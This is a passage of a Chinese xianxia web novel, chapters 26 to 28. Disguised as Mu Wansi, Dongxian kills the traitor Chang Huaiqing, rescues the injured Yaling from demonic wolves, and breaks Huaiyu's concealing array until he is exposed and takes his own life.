等到刺眼的白光消失，常怀清睁开双目并因惊恐而撑大，不敢相信发生了什么，少顷，他的瞳孔抖动着微微下移，看见了染满鲜血的长剑，而剑上的血由他浇成。
那把本是东闲要握不住的长剑，稳当地横向划穿他的脖颈，待东闲抽出，甩出一道血花。
常怀清受惯性使然，跪了下去。
跪下的那刻，常怀清仍是没想通事情怎会发生到如此地步。
本该是他看着东闲面临将死绝望的丑态，结果要死的人反而是他。
原本东闲被他的傀儡们逗弄着，他也因为畅快而感到愉悦，恶趣味地欣赏着这一幕，直到双眼被强光照射，下一刻，自己就被杀了。
这一剑是多么的出其不意，他完全没想到东闲还能有近身伤他的机会，这一剑又是多么的快，他尚没有反应，就已经要死去。
他捂住血流如注的脖颈，鲜血从他的五指中泄出，很快浸湿了他的前襟，死亡的气息从他身上弥漫。
常怀清想止住鲜血，可是东闲下手太狠了，几乎叫他的脑袋与身体分家，他两手抓住摇摇欲坠的脑袋，修士的身体让他拥有惊人的生命力，在脑袋都要掉下来的情况下，他居然还能苟延残喘着，但同时给了他极大的痛苦。
因为这种情况下，他决计活不下去，头身分裂的痛苦，死亡的缓缓逼近，能叫他崩溃，还不如立刻死去。
他双目血丝密布，很想说话，但是能够发音的声带都好像被一并砍去。
他迟缓地意识到，眼前的人绝对不可能是慕婉思，她方才的速度到底是怎么做到的，自己居然死在一个没有修为之人的手下。
她到底用了什么？
东
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闲挥舞长剑，剑身上的血随着剑气均匀地落在傀儡上，没有主人的控制，这群傀儡轻易地被打倒。
她看着地上濒死的人，无声地吐出三个字，也正是这三个字让常怀清大骇不已。
遁影术。
一种跟修为无关的法术。
这种法术是由一个低星宿传承的修士创造而出，有天赋的缘故让她升境要比寻常修士多费上数倍的功夫，她便创造了遁影术，将速度提升到极致，以来弥补力量上的缺失。
而这种术法被创造者视为保命的家当，从不外传给任何人，所以东闲不该会遁影术。
但东闲用了。
东闲便是利用了遁影术，瞬息来至常怀清面前，但是修为高深者，如若仔细感应，是能察觉到对方的轨迹，只是常怀清被东闲扰乱心境，又过于低看东闲，那一刻还受强光刺激，送给了东闲一刹的机会，而东闲要的就是那一刹。
常怀清是个自大且受不起激将的人，明明能一招杀了她，却因为她三言两语而被激怒，想看她被狼狈折磨死的，从而埋下祸根，最终将自己逼上死路。
常怀清也意识到自己落败的一点，但他怎么也没想到，眼前的慕婉思是个冒牌货，那她的伪装怎么能躲得过众多长老的眼，甚至清微仙尊也被她骗过去。
如若是夺舍，只传亲传弟子的朝阳剑法又怎么能被东闲学会。
遁影术的主人曾说过不会传给任何人，要将秘绝带到棺材里去，难道眼前人就是创造出遁影术之人，可此人怎么会跟慕婉思牵扯到联系。
这些事情的真相，是常怀清到死都不能明白的。
东闲没有趁着人之将死吐露真相的癖好，她知道这个世界有的力量强大到无法想象的地步，在暗处里有没有窥伺的眼她是不知道的，唯有她掌握住极致的力量，她才能放松，常怀清死了就死干净点，免得生事。
东闲轻叹一声：“天赋差就算了，还这般蠢笨，打败你还真没有一点成就感。”
常怀清动也不敢动弹，只能眼睁睁看着东闲一步一步地朝他逼近，濒死的恐惧如涨潮的巨浪，一波又一波，几乎让他淹死在其中。
为什么，为什么！要让他遭遇这一切，这不公平！
东闲虚虚按在他的脑袋上，就像书上记载的那般，对常怀清动用明魂术。
灵魂被无情地撕扯与搜刮，常怀清的眼珠瞪得都快要掉出来，双手无力地垂下来，颈部的断口分外骇人，那双生气全无的眼里还在瞪着东闲，似乎是变成鬼都不会放过东闲。
东闲不甚在意，常怀清能死在她手上一次，就意味着这辈子都不会伤得了她。
动用明魂术后，常怀清的所有记忆都能为东闲知晓，不过片刻功夫，她已经看完常怀清所有记忆。
其中有涉及到魔修找上常怀清的记忆，但对方很是谨慎，东闲未能在其记忆里得到任何有效信息，唯一确定对方就是冲着鸦昤来，早在一年前，对方就已经计划对鸦昤下手。
慕婉思也不是无意撞破怀玉教习与魔修的勾当，而是怀玉教习有意让她看见，为的就是把她变成傀儡，从而借助慕婉思来接近鸦昤。
东闲心中跳出一个想法，能将战线拉到一年之久，对方是无比肯定鸦昤会离开不夜天来到玄清宗。
她并未在这个想法上多想，鸦昤的事与她无关，她并不在意无关紧要之人的死活，而在她的定义中，唯有对方牵扯到自己的利益时，才会短暂地不是无关紧要之人。
东闲放任了常怀清的尸体，常怀清自以为能杀她，只一人来这守她，附近不会有出卖东闲动手的痕迹。
毕竟她毫无修为，杀了常怀清都没动用灵力。
东闲继续感应那点联系。
东闲曾以担心计划暴露，鸦昤会遇到危险为由，在鸦昤伪装外门弟子之前，她在其身上贴过一张符，有此符在，东闲能感知到她的位置。
而现在……
两人间最后的联系被斩断得干干净净，幽静得过分的林内，偶尔有月辉倾洒，映出幢幢鬼影。
好像是，鸦昤自毁了符。
26.第 26 章
鸦昤攥紧手中剑，顶着一身湿漉漉的，怀着一颗起伏不定的心，五感放大到极致。
不时有夜风吹过，犹历刺骨冰寒。
修士并不惧怕这点寒冷，但她受了伤，又在水下泡了一段时长，因而不可自抑地抖动着。
一个钟头前，她伪装成外门弟子，手持投影石悄悄记录着常怀清的罪行，因为看不下剥夺星宿传承的残忍过程，她一时冲动自爆身份动手救人。
也正是自爆身份，她才知道这群人的目标是她，她的一举一动一直在这群人的监视之下。
但东闲没有告诉她，她又不敢怀疑东闲，事情沦落到现在这种地步，她需要对东闲保存着最后的念想以来维持冷静。
常怀清放出魔狼，鸦昤死里逃生得幸冲出魔狼的包围，为了掩盖身上的气味，她在水中浸泡了很久，如今藏身在可完美隐蔽身形的老槐树上。
但这不是长久的计划，他们很快就能发现自己躲藏的地方。
鸦昤听说魔修都是阴毒邪恶之人，他们折磨修士的法子层出不穷，个个都能击溃意志将人逼成神智尽残的疯子。
她追寻正义，同一切少经人世的青涩少年般，有着一腔热血，有着不怕死的冲动，有着奋不顾身的莽劲，但在无限逼近死亡的那一刻，她迟钝地感受到跳得胸口发麻的心。
死亡，是多么可怕的词。
她还没有如师尊期待的那样成为器圣，她还没有能在剑道上有所成就，她才初露头角就要死去。
身处在孤寂的暗夜，仿若被生生与鲜活的人世隔绝，无边的黑暗将一颗心浸得寒凉。
死亡的逼近意图瓦解她心底的防线，而手中的剑成了她唯一的依靠。
剑？
她垂眸看向这把由她亲自打造的剑，它并不是一把多么厉害的剑，但因为她对剑道的喜欢，才被赋予重要的意义，走投无路之际，自己欢喜的剑还伴在身侧，好像也不是那么难接受了。
她倏地恢复勇气，眸光中燃起的焰火愈加热烈，反正她的死是值得的，投影石不就是被成功传出去了吗，这种时候应该传到东闲手上了吧。
如若东闲有良心把投影石的真相放出去，那么对她的利用也无所谓了。
鸦昤抽出身上贴的符，掐诀生火将符燃成灰烬。
东闲没必要回来，而且她不可能回来，依她的本事就算是来了也不过是多添一条人命。
至于东闲口中可能会出手的清微仙尊，恐怕自己也活不到那个时候。
鸦昤便在树上等待着，等到她恢复气力，要与那群魔狼决一死战。
有踩断林叶的吱嘎声由远及近地响起，打断她还要向上高涨的情绪。
长时间的精神高度紧绷令鸦昤分外在意周遭的任何风吹草动，若非先看清对方的面容，她差点藏不住鞘内锋芒。
鸦昤因最初的惊愕而不由自主地动作，招得林叶哗哗落下，本被死亡的迫临逼得神经敏感的鸦昤，却是没有注意这点动静。
她瞳孔微瞪，忘记了潜伏的危险，脱口而出：“你怎么会……”
恰逢拨云见月，月光洋洋洒洒铺了一地，疏疏落落穿过林叶的间隙恍若残雪，透过间隙可见的清丽面容，柔却残雪的疏冷，骤然出现在孤寂的天地中，让人熟悉得想要落泪。
所有的怀疑都在此刻消解，化为更加真挚美好的情感。
鸦昤一时间百感交集，她想问东闲为什么会找来，难道投影石没有传到她手上吗，还是单纯地为她而来。
但她是坚强的，她不会流露出任何显得自己脆弱的神情，将整张脸绷得紧紧。
鸦昤在思绪百转的那刻，东闲端详着她的状况。
她的模样有些可笑，因为想要遮住身上的血腥气味，而使得自己成为一只落汤鸡，左臂上应该是受了伤，被明显与不一致的布料裹缠着，身上积了不少的林叶，赫然是曾蹲守在树上做了很长一段时间的塑像。
“我寻了你很久，好在你撑住了，让我比他们更先一步找到你。”
她朝鸦昤伸出手，递来的手很巧妙地捧住莹莹月辉，仿若这场属于鸦昤的孤旅终于迎来归宿的牵引。
“我们一起回去。”
胸腔的心跳动得更剧烈了，鸦昤反而更难保持平静。
鸦昤觉得实在刺眼，想要遮住那抹亮光，于是哪怕她没有弱到需要人搀扶的地步，她还是握住了东闲的手。
温热的，跟心一样。
鸦昤带着斥责意味地开口：“你没有修为，怎敢孤身一人来寻我，你这是在自寻死路。
“我已将投影石转交给你安排的人，他没有给你吗，你为什么要寻我？”
东闲轻轻地问道：“你冷吗？”
她的手包裹住鸦昤的手，传递着温度，用温暖把冰凉一点点浸透。
鸦昤愣住了，她迟疑地问道：“你说什么，我没有听清。”
然而心里却是生起异样的感觉，这个人是为自己而来。
鸦昤还记着那群凶恶的魔狼，东闲竟能躲过魔狼而成功找到她，这令她感到意外，便开口问道：“那些魔狼已经走了吗，你怎么能找到这来。”
“我把投影石给他们了，他们才允许我找到你。”
得知投影石被夺去，哪怕是知道东闲出此一举的初衷是为了救她，鸦昤仍是神色大变，怒不可遏地吼出声。
“慕婉思，你做什么！
“你知不知道这样的机会不会再有了。”
她生气地甩开东闲的手，但东闲没有松开，用力拉住她叫她留步。
鸦昤：“放开我，我要把投影石拿回来。”
东闲：“拿不回来了，常怀清毁了投影石。”
此时有魔狼的吼叫声传来，如针般刺进脆弱的耳膜，且迅速地朝她们逼近，这根针便愈扎愈深。
黑暗重新覆盖这片天地，由贪婪与凶戾填充的森绿的眼睛是黑暗中唯一可视的物什，恐惧与绝望无声地笼罩在两人的心头。
魔狼速度极快，在她们听见它声音的时候，已经围住她们二人，鸦昤将东闲拉到身后，同时右手长剑出鞘，泛起的寒光映衬着她坚毅不屈服的面庞。
这群魔修绝不会轻易放走她们，她们已经发现了他们的秘密，怎么可能还有活命的可能，东闲到底是太天真了。
鸦昤心中气闷，也知东闲好意，只是不甘心，她已经用投影石记录常怀清的罪行，只要东闲将投影石上交给玄清宗，就不会再有外门弟子不知不觉地剥夺了星宿传承。
说到底，是这群魔修太过可恶，剥夺他人星宿传承以来满足私欲，实在罪不可饶恕。
鸦昤将这份怒气转化为对魔狼们的战意，面对这群垂涎她们血肉的魔狼，她恨声而道：“区区十个魔狼，我这身硬骨你们也不怕硌得慌。”
自知剑术差劲到没有应战的可能，她便掐诀生火，以来提升剑的攻击性。
鸦昤到底是炼心境前期的修士，过去以炼器为主，但并不代表没有战斗的能力，不过对上十只堪比炼心境修士的魔狼，的确够呛，能从中逃出躲了一阵时日，是老天垂怜她。
管他呢，她身后还有个人，她要揭露的真相还被掩埋着，就是豁也得豁出去。
长剑上焰火倏地生起，映衬她的面庞熠熠生辉。
“呆在原地，别乱跑。”
撂完这句话，鸦昤便杀去，带了把焰火腾腾的剑，与一颗抵死不从、誓为正义的心。
在剑术上基础薄弱又如何，作为炼器师，平日里不单单要在锻造台前炼器，炼器师也能杀人，他们最擅长的便是以灵识寄器，所以炼器师能掌控所有的法器，是这一道赋予他们的能力。
而鸦昤手上那把剑便是经她打造的法器，能完美地融合她的灵识。
对此东闲没有劝阻，甚至可称得上是冷眼相看。
“怀玉师兄，你还要看到几时，才舍得出来。”
一道身影出现在东闲身后，阴影覆盖住她的身形，只依稀看清是个人立在那。
怀玉微诧地道：“你什么时候发现我在这的？”
东闲反问道：“这很难吗？”
怀玉向前走两步，面容暴露在皎皎月光下，他微笑着，道：“这不难。”
东闲道：“怀玉师兄，你们真正的目标是我身边的这位，你们看中的是八成毕月乌传承。”
鸦昤没有听见他们的对话，她再
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次与魔狼们缠斗，还受着伤，已是自顾不暇，连多了个人都不知道。
感受对方的注视，东闲不觉如坐针毡，不紧不慢继续道：“你这般胆小怕事的人，怎么会让我发现你的异常，那一夜你其实是打算让魔修将我炼作傀儡，好使得我接近鸦昤，剥夺鸦昤身上的星宿传承。”
东闲以慕婉思的身份回来，第一日就受到路师姐的相助，此后路师姐日日都要关切她，而路师姐是怀玉派来照顾的人，她一切的做法都应能投射怀玉的想法。
看似心腹的路师姐，应当没少与怀玉接触，可她不知道怀玉的真实身份，慕婉思却知道怀玉与魔苟合，岂不奇怪。
常怀清的记忆更是让她的猜想成为定论。
怀玉向慕婉思自爆身份，就是打的是利用慕婉思接近鸦昤的主意。
怀玉道：“你很聪明，但又不够聪明，失去一身修为却还硬要回到玄清宗与我作对，你该知道我为何会出现在这。”
东闲颔首，道：“缩头缩脑的王八舍得从壳中出来了，这点也不难猜。”
这点讽诮在怀玉听来不痛不痒。
但是，他心有疑虑，因为在他看来，东闲如今的处境已经明摆着她是全盘皆输的输家，而她却淡然得恍若不知死亡的逼近，言语中更听不出半点慌张，难道是在死撑面子？还是觉得尚有一线生机而争取时间。
他猜测着，一并打消东闲的念想。
“你想拖延时间？还没觉察到吗，你们的气息早已变得微弱不可捕捉，就算执法堂的人知道你们被魔修掳走，他们有心却只能徒劳无功。”
他说着，灵力化为灵活的长蛇缠上东闲的脚腕与双手，还有脖颈。
他学过术法，对术法上有一定的掌控。
只要稍加用力，这个脆弱的修士就会轻易地死去，困扰他多日的噩梦就能解除。
东闲当然没有拖延时间，也没在强撑所谓的面子。
她扬起笑容，并不躲避，心中思量着气息无法被捕捉是何意。
修士之间的打斗，通常会形成灵域，灵域是区别于现实的另一个战斗世界，与修士的意念力有关，身处在灵域之中的修士，会完美地从这个世界彻底消失一阵时间。
通常灵域是隐蔽的，只有外人境界高于灵域中人的境界，才能发现此处形成的灵域。
灵域的铺展极具特征，东闲很确定自己没有进入灵域。
先前常怀清轻视她，没有展开灵域，而这回的怀玉教习也没有把她们拉入灵域。
此前他们也无法对她们都动了手脚，更不可能是在这附近下了禁制，禁制无法收敛气息，除非这块地有古怪，而这片地又再正常不过，可从来没有传出过能把人的气息给吞灭的说法。
“说不定我真有法子脱身，顺便让你的真面目暴露。”
怀玉教习见她仍是莫名的自信，已经失去与她对话的兴趣，不再打算与其废话，想要尽早剥夺鸦昤身上的星宿传承。
与魔狼们纠缠的鸦昤，冷不丁被另一种不可抗拒的力量吸了过去，而后大脑一阵抽痛，这股吸力几近要将她的脑浆都要一齐吸来。
同样疼痛的还有东闲，那是来自识海深处贪狼星君留下的神识，突然遭到刺激似的，就让东闲亲身体会祂的痛苦。
又是那种莫名悲伤的情绪涌上来，两眼再度开始发酸，东闲差不多知道鸦昤与贪狼星君有一段关系，但这关她什么事。
你舍不得你去救啊，关我什么事。
都是神了，连个人都救不下吗。
东闲在识海中愤恨回道。
好像更刺激了对方，回应她的是愈演愈烈的头痛，这回倒是不用担心落泪的难堪神情出现在她脸上，因为她一定在落泪前倒下，她痛得几近晕厥，路都要站不稳了。
“怀玉师兄。”
她借力撑在树上的手抓得指骨处泛白，一双眼因厌恶被控制而显得凶戾，落在怀玉眼里则有了另外一种意思。
下一瞬，她的身形已经闪至怀玉眼前，长剑抵在他心胸处，带起猎猎罡风。
“你先与我玩啊，慕婉思命薄没这个机会，我可是翘首以盼。”
疼痛顷刻间消去大半。
27.第 27 章
东闲转瞬拍出藏在另一只手掌下的低阶爆破符，杀伤力不高，足以打断怀玉继续对鸦昤剥夺星宿传承，让两人得以分开。
鸦昤缓了缓，惊异地看了眼东闲，双目被月华照得明亮，隐有莹光闪烁，然而再度围上来的魔狼让她不敢懈怠，又一次进入战斗状态。
顶着怀玉惊诧不定的目光，身上的痛楚消去大半，东闲收起外放的戾气，淡淡地道：“怀玉师伯，这其中还有个变数，我不是慕婉思，你觉得我是毫无修为的普通人，因此看低我。
“你觉得我年龄小见识短，因此觉得我最多只能走到这一步，可你不知道，我不是慕婉思，更不该是一个普通人，依你的眼，是看不穿我这副伪装下到底是何面孔。”
怀玉眸色晦暗，思绪顿时混乱起来。
她竟然真的不是慕婉思，这曾经短暂出现过他脑海里的荒唐猜想，居然是真的。
他明明有炼心境的修为，却看不穿一个毫无修为之人的伪装，故而他以为眼前人就是慕婉思，即便东闲的性情与慕婉思完全不一样，甚至连喜好习惯都不一样，他也否认了自己那点怀疑。
怀玉脑海顿时涌起许多对东闲身份的猜想，他隐隐感觉到事情的走向已经发生不可逆转的变化，在他的疏忽下，已经出现错处。
夺舍此事并不容易，长老们早已探查过她的灵识，一个修士在夺舍他人躯体后，灵识会发生明显变化。
东闲要么是境界比他高，所以他看不穿东闲的修为，要么是她是用了某种他看不破的手段伪装成慕婉思，可东闲要是实力高超，就不会在他们手下艰难求生，东闲可是确确实实没有修为，这点不会存疑！
显然是后者的可能性更高，不论哪种可能，东闲都不能是普通人。
东闲继而道：“你本性多疑贪生怕死，不肯信任任何一个人，为了让常怀清不背叛你，所以你在剥夺了那么多外门弟子的星宿传承后，将这些传承分出部分留在常怀清的手上，让他时刻明白你们共生共死。”
怀玉脱口而出道：“你是怎么知道的？”
东闲知道这点是从常怀清的记忆中得到，但是怀玉不知道，怀玉本就对常怀清不信任，如今听东闲这么一说，难免会激动以为常怀清可能真的背叛他。
而这正是东闲有意引导的结果，为的是让怀玉自乱阵脚。
东闲继续道：“常怀清同你一样都是懦弱的人，虽然嫉恨旁人拥有星宿传承，但也惧怕所做的事情被发现，因此而备受煎熬，时常会向医馆求一些安眠的药，日日都要服用，前日他的药用完了，亲自去了药谷去取新的，你觉得我说得对吗。”
这点正是那日东闲为秦师姐采来足够的兰香草后，从对方口中意外得知常怀清有失眠的困扰。
怀玉神色不算好看，如若方才还可能在疑心东闲有意诈他，现在几乎都相信了。
东闲说得没错，常怀清自东闲假扮慕婉思以来一直想要尽早解决“慕婉思”，是有被他逼得紧的缘故在。
常怀清也的确会经常向医馆要一些帮助安眠的药，如今被东闲特地说出来，听在他耳里就有别的意味。
东闲莫非是给常怀清的药做了手脚，不然东闲怎么会知道他会分一些星宿传承留在常怀清身上，只能是常怀清说漏嘴说出去的，而东闲接下来的话又验证了他的猜想。
“怀玉师伯，你说常怀清现在在做什么，一个精神出了状况的人，什么胡话都会往外说吧。”
说到这，她笑出声，“我没那么蠢，不会去做撼树蚍蜉，对付你不行，只能从常怀清身上下手。”
怀玉还在反驳：“你对他的药动过手脚？不可能，药都是他亲自去取，你非药谷弟子怎能对他的药动过手脚。”
东闲道：“那怀玉师伯以为我为何要与安泛泛走得那样近？你日日监视我，应当知道我不时会去药谷，我既然能化作慕婉思的模样，便能化作安泛泛的模样，依我出色的变化能力，我想在常怀清的药里动手脚，谁又会知道。”
她又故作疑惑地道：“难不成你觉得你与常怀清之间还有信任可言？”
怀玉再次动摇了，东闲有意讨好安泛泛与其走得近，让人很难不怀疑其中的异常。
常怀清真的出事了吗？
怀玉不敢肯定了。
此刻东闲信誓旦旦道：“那就以信鹤传话，他不会回复你的。”
怀玉稍作思考，便掐诀写下一个信鹤传与常怀清，半晌之后，不得对方的回复。
怀玉的面色真正地变了。
常怀清绝对不可能不回他的信鹤，只要他发出去，片刻之内必然得到回复。
东闲留意着他的神色，笑意继续加深。
他应是深受内心折磨，暴露在月光下的面孔狰狞如恶鬼，而他并不知道，他还以为自己表现得很平静，他恐怕根本没有意识到，自己的气息紊乱，高境界的修士情绪变化时会影响到周遭的环境，如今周遭躁动的灵气便是因他而起。
在常怀清不回他信鹤时，他的神色变化得更厉害，压迫感也愈加深重。
他复而流露狠厉的神情来。
“你说得再多又如何，你们还是得死，你若真有能耐何须同我白费口舌。”
东闲的侥幸心理被点破，她感到很遗憾，“您真的没有常怀清好糊弄。”
他们交谈的时间并没有耗费多久，另一边鸦昤勉强与十头魔狼持平，但东闲心中清楚，鸦昤已经受伤，她落败只是时间问题。
而现在的怀玉赫然还有对鸦昤动手的想法，他们真正的目标是夺去鸦昤的内丹，拿到所谓的神力。
东闲不会给他这个机会，她要赢得漂亮，不会再让他们吃到甜头。
只见怀玉轻描淡写地一掌挥去，聚于一掌的灵力冲击撞得东闲心脉俱裂，依稀可闻肋骨发出的碎裂声响，见此，怀玉冷哼一声转而朝被魔狼围攻的鸦昤而去。
鸦昤和怀玉同是炼心境的实力，区别在于前者是前期后者是后期，乍一听还在同一个境界，似乎区别不大，实际上，境界越高差距也越大，哪怕是前期与后期的差距，也依旧不容小觑。
更何况鸦昤负伤，前有十个可匹敌炼心境修士的魔狼。
鸦昤被灵力震飞，在快撞到树上时，又利落漂亮地于半空翻了一周，以剑插地，减缓受到的冲击力，鸦昤勉强站直身子，又想迎上前，仿佛受的重伤不能给她带来任何感觉。
对方带了十头魔狼是铁了心要杀死她，护体的法器在魔狼的围攻中渐渐不堪重负，而怀玉的一击使得法器彻底被销毁。
带来的符也几近耗完，储物袋内本还有几把法器在，但在很久之前与魔狼的围攻中，不小心给弄丢了，为了掩护赌徒的逃离，她不得不放弃回去捡储物袋的想法。
现在，她是真的没有继续战下去的能力。
鸦昤看着手中剑，眼眸又坚定起来。
没关系，剑还在手呢，我能再战。
怀玉与十头魔狼的配合，本让鸦昤无可抵挡，早该缴械投降，就算不投降也不该有劲打下去。
而她如剑上腾起的异火般，偏偏吊着一口气，没有熄灭的时候，明亮到刺眼，灼热到逼人。
妖风阵阵，幢幢鬼影群魔乱舞，鲜有人会知道这里上演着一场生与死的较量。
十头魔狼将她逼进无可退之处，怀玉趁此时机朝鸦昤袭来，阴影如张牙舞爪的鬼物覆了上来。
她又被击飞，这回不能漂亮地稳住了，一头魔狼趁势而上咬住她的手臂，剑便不可自制地掉了下来。
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怀玉一手成爪直逼鸦昤的心脉之处，眼看只余分寸距离，鸦昤握剑的手臂又被魔狼尖利的牙齿死死咬住，她能感觉到魔狼尖长锐利的牙齿嵌进她的血肉，疼痛异常的同时根本挣脱不开，若强自挣脱，这只手臂就会废掉。
鸦昤被剧痛逼得全身冷汗浸透衣衫，满眼血色密布，几乎窥见自己的结局。
不行，不能死。
还有什么办法，她努力搜寻着解决之道。
东闲无法上前，她想将自己塑造得再神秘莫测，那也不改她只有引气入体堪堪能运用灵力的实力的事实。
情急之下，东闲只得大喝道：“鸦昤，把你的剑给我。”
东闲知道，炼器师能够做到以灵识寄器，她没有修为，若能拿到鸦昤的剑，让鸦昤以灵识寄器，兴许可以弥补这点。
鸦昤明白她何意，大脑在踟蹰，不是不信任东闲，她毕竟对东闲这个冒牌货所掌控的朝阳剑法多少并不清楚，但是求生的本能让她相信东闲的话，一脚踢开掉落的剑，让剑来到东闲身边。
东闲拿到了寄托鸦昤灵识的剑，她布起剑阵，生生逼开他们。
金色剑阵瞬时而立，上百把长剑悬于顶空，在东闲的掌控下，剑剑带着凛冽之意横扫而来，但并未以怀玉为目标，而是圈住他与魔狼，其中便有一半的剑与其对抗。
这与朝阳剑法第三式像极了，眼前的冒牌货不会连朝阳剑法都会吧。
不待怀玉诧异，东闲开口道：“怀玉师伯，你可知慕婉思死前说了什么吗？她说她好疼，也好恨，她不明白疼爱她的怀玉师伯为何对她痛下杀手。”
她顶着慕婉思的面容，又学着慕婉思的又怨又嗔的模样，用的剑法还酷似朝阳剑法，这一刻她落在怀玉眼中，正是慕婉思本人。
怀玉情绪似乎到了崩溃的界限，他失控地吼出一声：“这不能怪我，我原本也不想对她动手……”
他及时停住，强压住脾气，眼里晦暗不明，因他情绪波动而引起的周遭灵气更加暴动。
他再度看她们，一个苟延残喘着，寄灵识于器让东闲操纵，一个顶着慕婉思脸的冒牌货意图拖延时间，他的眸里便是嗜血的杀意覆满，再无往日的温和。
“都说了别再想着拖延时间，如若你们以为清微仙尊会来救你们，那便更加可笑了。”
东闲一面朝着周边试探，一面用起朝阳剑法抵御突破剑阵的怀玉，数把剑在她的有意控制下缠上怀玉，又被他周身灵力震碎。
她会朝阳剑法，但做不到杀了怀玉，似乎只能拿这条命与怀玉耗下去。
鸦昤受的伤太重，能强自以灵识寄器已经是耗费太多精力，东闲不能再跟怀玉耗下去，不然是必败的局。
她的双目忽地闪烁着奇亮的光，并不落在怀玉身上，而是这地上隐藏的阵法上。
找到了。
东闲早就料到，他们势必会想办法阻拦清微仙尊的出现，为此，他们肯定想办法把她们的气息给隐藏，以让清微仙尊还有执法堂弟子找不到她们。
东闲抬手一挥，这方天地隐藏起来的符文阵法现形，先前一半没动静的剑立时插入这阵法布下的关键。
“能隐藏住我们的气息而不被发现，不通过布下灵域的方式，依你的半吊子能力，也就只有提前布下阵法隐藏，怀玉师伯，你看我找得对不对。”
此话落，她抬手收剑，剑插过的地方皆是隐藏的金色符文飘动的地方，被东闲一举分崩离析，这阵法便瞬息而瓦解。
“物必自腐，而后虫生，你这阵眼破了，阵法还能生效吗。”
碎裂的符文化作星星点点漫天而下，东闲眼里随之漫上揶揄之意。
而怀玉无心管顾她，她身后那张面容已叫他目眦欲裂，陷入绝望。
28.第 28 章
怀玉几乎站不住身子。
原来东闲方才是试探阵法阵眼，破阵的关键便是找到阵眼，只要能找到阵眼那么破阵就不是难题。
布阵人布阵最重要的是藏好阵眼，怀玉对阵术略有涉及，自是清楚这一点，他布下的阵法无形无色，本不该轻易被东闲看穿。
东闲看穿阵法，主要是因为她猜中怀玉所布下的阵法的范围，而这一点不难猜，一般的阵眼都藏在中心部位，方才东闲的动向就是不断往外边试探，只要她快离开阵法布置的范围，怀玉就会出招把她逼回来。
东闲来之前没有受阵法掩藏气息，她甚至能够传讯出去让安泛泛带着执法堂的弟子赶过来，再根据怀玉把她逼在一个限定的范围内，可以推断出阵法是固定的，而且还是提前布下。
只需确定两个定点，如此就能试探出阵法的范围，进而得到阵眼的位置。
怀玉有猜到东闲在试探阵眼，但是没想到对方能破阵破得如此快，找到阵眼是一回事，破阵又是一回事，哪能两项同时完成。
而这是有东闲用了遁影术的缘故，遁影术以快著称，讲求把速度提高到极致的地步，如若修为高，甚至可以让意动境的大能都感受不到任何声息。
东闲方才在朝阳剑法中运用了遁影术，她挥舞长剑的时候，看似用的还是朝阳剑法第三招。
但因为速度极快，人眼里捕捉的速度有限，从而定格成道道瞬间成型的残影，极像朝阳剑法中万剑齐发的场面，从而在怀玉尚没有反应过来时，就已经在关键处，落下剑影以来破阵。
这些日子，她跟着月华长老可是研习了不少阵法。
她去藏书阁时，也会用投影珠记下不少需要的藏卷典籍，为了日后离开玄清宗做准备，其中也少不得寻常阵法。
怀玉到底还是小看她了，留存在她识海的东西使得她的价值要比他想象得还要惊人。
东闲同样也感到意外，自己在清微仙尊心里能有如此重要，几乎阵法破开的那刻，仙尊便在她身后了。
她同样感慨清微仙尊的强大，只需站在那，便叫人放弃反抗缴械投降。
清微仙尊历来情绪寡淡的面上隐透露愠怒之色，这副尊容把怀玉吓了一跳，以为这回彻底无路可逃，他已经把仙尊给惹怒了，殊不知对方看的是在他身后暗藏的金色竖瞳。
那竖瞳见被发现，朝着仙尊眨了眨，颇有俏皮的意味，并不敢逗留，立马隐匿黑暗消失了。
清微仙尊见徒弟知错跑了，喉里的一声斥责只得咽下去，她凉凉地瞥了眼一旁畅快自得的东闲。
东闲感受到这股含义不清的注视，让她忍不住回首，却发现清微仙尊早已离去。
东闲暂且不管清微仙尊走或没走，如今的局面已然是她赢了，此后再生变故也是临死挣扎。
怀玉果真再没对东闲动手，十匹魔狼在清微仙尊出现的那刻全都化为一团团血雾消散。
待他们的气息能够被捕捉，几乎是前脚仙尊离去，后脚执法堂的人成功抵达。
其中的安泛泛见着了东闲，大声唤了她的“名”，又见她身后的怀玉，不禁欣喜道：“怀玉师兄，是你救了她们吗。”
怀玉脸色僵硬，目光一转便落在其身后执法堂的人，来的人都是在执法堂当值的弟子，此刻个个同样流露敬佩爱戴的目光，似乎觉得他是个英雄。
但他明白，他已是败家，在清微仙尊来的那刻，所有不该生的想法都荡然无存，面对此间拥有极致力量的大能，他连反抗的想法都被无情绞杀，他遂生了死志，再不会动手。
安泛泛没有觉察他们之间的不对劲，还沉浸在人都找回来的喜悦中。
“我们找了慕婉思和鸦昤前辈很久，就差这片林子没去了，没想到您已经把他们救回来。”
东闲此刻笑意还在，见了他们更是嘴角弧度扩大几分。
东闲没良心地笑着，她这份笑就打安泛泛第一眼看见起，未曾落下来过，以毫无修为之身跟魔修对峙，她居然还能笑得出来。
安泛泛不满地蹩起眉，“你还笑，若不是怀玉师兄及时赶到，你看你还能笑到几时。”
东闲道：“我笑是因为怀玉师伯帮我们玄清宗做了件大事。”
她摊开掌心的投影珠，向执法堂的弟子道：“怀玉师伯为了彻查外门弟子星宿剥夺一事，劳苦多日，终于将真凶追拿归案，这便是证据。”
投影珠里记录的是怀玉对鸦昤出手的那刻，过程很短，但足以让人看出他想伤害鸦昤。
鸦昤在事情得到转机后，就把受伤的臂膀藏在身后，此刻她晕沉的大脑缓缓运转，到底是从何时起，事情竟演变成这种走向。
她目光复杂地看向与怀玉对峙的东闲。
怀玉揉了揉眉心，他揉得很重，更像是在锤。
“你到底是谁？”
东闲故作困惑地道：“怀玉师伯，我是慕婉思啊，你自始至终都疼爱的师侄，你想操控但不想杀害的师侄。”
怀玉惊疑不定，连说两个你，才道出完整的话。
“你你……你全都知道了。”
怀玉深深地看着东闲，在清微仙尊出现的那刻他便明白自己只有一个结局了。
他无缘由地大笑着，安泛泛与执法堂的弟子们都感觉到他笑中的不对劲，那笑中有堆积的不甘与怨悔，居然还有对自我的怨怼与嘲弄，这是让他们没能明白的。
有弟子担心地问道：“怀玉师兄，您怎么了？”
怀玉停止了大笑，这一刻的神情已是释然还有解脱。
“我早该知道会有今日，既然这一日已经来临，我也该好好休息了，也算是对我的解脱吧。”
他的目光落在东闲身上，那双眼如被清水洗过，展现最初的平和与祥宁。
下一刻，他面容抽搐，胸口之处鲜血瞬间浸透前胸法袍，须臾的功夫，气息近无！
弟子们始料未及，被东闲和他两人间的暗含争锋对话搞得云里雾里，尚未理清脉络，就见他竟是自毁丹田。
就在众目睽睽之下，怀玉了结了自己的生命。
